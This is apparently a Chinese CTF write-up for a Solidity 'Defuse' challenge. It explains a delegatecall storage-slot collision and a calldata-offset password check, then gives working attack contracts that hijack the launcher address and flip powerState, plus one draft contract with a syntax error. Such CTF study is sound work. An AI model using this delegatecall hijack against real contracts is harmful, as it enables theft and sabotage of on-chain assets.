漏洞nc 1.15.39.10 10004

180 阅读2分钟

源码:

pragma solidity ^0.5.10;

contract Defuse{
    bool public Explode = false;    //1
    address public launcherAddress;  //20
    bytes32 private password;
    bool public powerState = true;
    bytes4 constant launcher_start_function_hash = bytes4(keccak256("changedeadline(uint256)"));
    Launcher launcher;

    function checkPassword() public returns (bytes32 result)  {
        bytes memory msgdata = msg.data;
        if (msgdata.length == 0) {
            return 0x0;
        }
        assembly {
            result := mload(add(msgdata, add(0x20, 0x24)))
        }
    }

    modifier onlyOwner(){   
        require(checkPassword() == password);
        require(msg.sender != tx.origin);
        uint x;
        assembly { x := extcodesize(caller) }
        require(x == 0);
        _;
    }

    modifier notExplode(){
        launcher = Launcher(launcherAddress);
        require(block.number < launcher.deadline());
        Explode = true;
        _;
    }

    constructor(address _launcherAddress, bytes32 _fakeflag) public {
        launcherAddress = _launcherAddress;
        password = _fakeflag ;
    }

    function setCountDownTimer(uint256 _deadline) public onlyOwner notExplode {
        launcherAddress.delegatecall(abi.encodeWithSignature("changedeadline(uint256)",_deadline));
    }
}

contract Setup {
    Defuse public defuse;

    constructor(bytes32 _password) public {
        defuse = new Defuse(address(new Launcher()), _password);
    }

    function isSolved() public view returns (bool) {
        return defuse.powerState() == false;
    }
}
contract Launcher{
    uint256 public deadline;
    function changedeadline(uint256 _deadline) public {
        deadline = _deadline;
    }

    constructor() public {
        deadline = block.number + 100;
    }
}

contract attack{
      Defuse defuse;
    constructor()public{
        defuse=Defuse(0x7D33e9FB75Df354C95E047bDed6D11595f32bE62);
        defuse.call(abi.encodeWithSignature("setCountDownTimer(uint256)",
        0x00000000000000000000009e7208a8ca28f276514be5c3bd74ffcf223a72e200,
        0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
         defuse.call(abi.encodeWithSignature("setCountDownTimer(uint256)",
        0x00000000000000000000009e7208a8ca28f276514be5c3bd74ffcf223a72e200,
        0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
    }
}
contract NewLauncher{
    bool public Explode = false;
    address public launcherAddress;  
    bytes32 private password;
    uint256 public deadline
function changedeadline(uint256 _deadline) public {
        deadline = 0x0000000000000000000000000000000000000000000000000000000000000000;
    }
}

这个代码里的知识点非常多,delegatecall、assembly、数据存储

1.notExplode里把launcher地址修改了,setCountDownTimer要delegatecall launcher里的方法。

image.png

2.delegatecall

不论变量类型,以及实际分配公式如何,变量都会根据定义顺序,得到一个slot位置。智能合约编译后代码读取变量时并不记录变量名称,而是记录slot位置,读取变量值在编译后代码里只是读取这个变量对应的slot值。至于当前slot值是否是这个变量,代码本身并不清楚。

Delegatecall的问题,也就在于此。调用Delegatecall并不切换上下文,直接运行新的合约代码。比如新合约中需要读取slot1的变量值,此时读取的事老合约slot1的变量值,如果新合约slot1位置是一个普通uint32变量,老合约slot1位置是一个合约地址,同样的操作变量含义不同,结果将变得不可预测。这种情况特别在库合约的调用中特别容易出现。

简而言之:delegatecall修改的是相同数据内存位置的数据而不是相同名字的数据。

攻击思路:

通过调用setCountDownTimer 去调用自己编写的launcher的changedeadline。调两次,第一次会把launcher的地址改了,第二次会调用我们launcher的changedeadline,只要我们deadline存储位置和powerState相同就行。

看onlyOwner

1.需要我们在另一个合约的构造函数里调用才能满足条件

2.需要输对密码

assembly { result := mload(add(msgdata, add(0x20, 0x24))) }

add就是加,mload是读取,mload(add(msgdata,20))这个意思是从msgdata的二十位开始读取取值。因此,需要我们第68位后开始是地址。

bool public Explode = false; //在slot[0]
address public launcherAddress; //在slot[0]
bytes32 private password; //在slot[1]
bool public powerState = true; //在slot[2]

去控制台查询slot[0]的数据
结果:0x00000000000000000000009e7208a8ca28f276514be5c3bd74ffcf223a72e200 9e7208a8ca28f276514be5c3bd74ffcf223a72e2这一串就是launcher的地址,我们把他换成自己的newlauncher地址。

查询slot[1]的数据
结果:0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a 这一串就是密码

攻击合约

contract attack{
      constructor()public{
      Defuse  defuse=Defuse(0xD95667A9D50feAca2b8C7227D0B883727ce76875);
        address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
        0x00000000000000000000000499F9D0578D22079Ff147Bce75D071E2BE8a8Cf00,
        0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
         address(defuse).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
        0x00000000000000000000000499F9D0578D22079Ff147Bce75D071E2BE8a8Cf00,
        0x50ff0f52db8fd58abf094db7ef8e56acd1e5250dcb9dbd6e5a5b3f2b67d00e3a));
        
    }
}
contract NewLauncher{
    bool public Explode = false;
    address public launcherAddress;  
    bytes32 private password;
    uint256 public deadline=block.number+1000;
function changedeadline(uint256 _deadline) public {
        deadline =0x0000000000000000000000000000000000000000000000000000000000000000;
    }
}

成功!!

image.png